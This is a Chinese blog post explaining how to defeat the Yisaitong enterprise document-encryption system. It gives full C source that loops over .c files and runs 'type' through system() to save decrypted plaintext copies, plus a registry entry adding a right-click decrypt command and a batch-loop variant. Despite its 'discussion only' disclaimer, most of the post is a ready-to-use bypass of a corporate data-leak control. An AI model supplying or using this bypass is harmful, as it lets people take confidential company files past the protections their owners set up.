一行C代码破解亿赛通文档加密系统

亿赛通是国内知名的提供数据安全管理、数据安全保护、网络信息安全三大领域的公司,其产品主要为企业提供信息加密和安全服务.

亿赛通---文档安全管理系统在国内被广泛应用于公司代码保护.其安全性是获得大多数人认可的.亿赛能暴力破解是有难度里,所以这里提供一种简单的投机取巧的非暴力破解方法,只作为探讨,千万不要用于非法目的.由于不恰当的使用本文,引发的不良后果,由肇事者自己负责。

我是这样研究的,由于我使用的是取巧的方法,所以这里只有一行程序,所以这里不对亿赛通加解密方法,暴力破解做过多说明:

通过观察我们可以发现亿赛通工作的规律,

1.是亿赛通只加密特定的敏感的文件,比如常见的加密.c文件,不加密.txt文件,可能是出于效率考虑吧

2.是亿赛通加密过的文件,比如.c,使用UE打开是显示明文,使用NOTEPAD打开就是显示密文.

为了研究他的加解密过程,我写了一个函数,把.c文件的内容不经过文档工具,直接拷贝到另一个TXT文件里,结果打开后发现是密文.

这说明,亿赛通是把磁盘上的敏感文件全部加密,然后在打开的时候解密.那么我们的解密方法就只能从这里入手.他解密后我们把他存为非加密文档.由此我赶紧写了一行代码,system("type aa.c>bb.txt");发现正好可以,为了辨别方便,由于除了.C,他还加密了其他文件,全部变成TXT会存在某些覆盖的危险,我做如下改正,system("type aa.c>bb.c1");由是我们得到如下程序,可以把文件夹下所有.c解密另存为.c1,关键代码只有一行就是system(type aa.c>bb.c1);当然,你也可以改进,使用多线程查找子目录,也可以修改为解密其他文件或者所有文件.有了这个,也可以逆向重命名,得到原始的C文件.附全部源代码:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <windows.h>
int main(int argc, char* argv[])
{
WIN32_FIND_DATA fd;
HANDLE hd;
char cmdstr[1024] = {0};

hd=FindFirstFile((LPCTSTR)"*.c",&fd); //开始查找
if(hd==INVALID_HANDLE_VALUE)
{
printf("没有找到文件");
return 0;
}
if(!(fd.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY))
{
sprintf(cmdstr, "type %s>%s%d", fd.cFileName, fd.cFileName, 1); //生成解密字串
system(cmdstr); //执行解密
}
while(FindNextFile(hd,&fd)) //继续查找
{
if(!(fd.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY))
{
sprintf(cmdstr, "type %s>%s%d", fd.cFileName, fd.cFileName, 1); //生成解密字串
system(cmdstr); //执行解密
}
}
FindClose(hd);//关闭查找
return 0;
}

可以加入鼠标右键
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\*\Shell]

[HKEY_CLASSES_ROOT\*\Shell\type]
@="type"

[HKEY_CLASSES_ROOT\*\Shell\type\command]
@="Cmd.exe /c type %1>%1.txt"

题外话,由于这里我取巧使用的type显示文档的功能,所以如果你没有VC或者其他C编译工具,你可以使用批处理,一个FOR循环加一个TYPE就可以了.

你可能感兴趣的:(C++,c,C#,企业应用,vc++)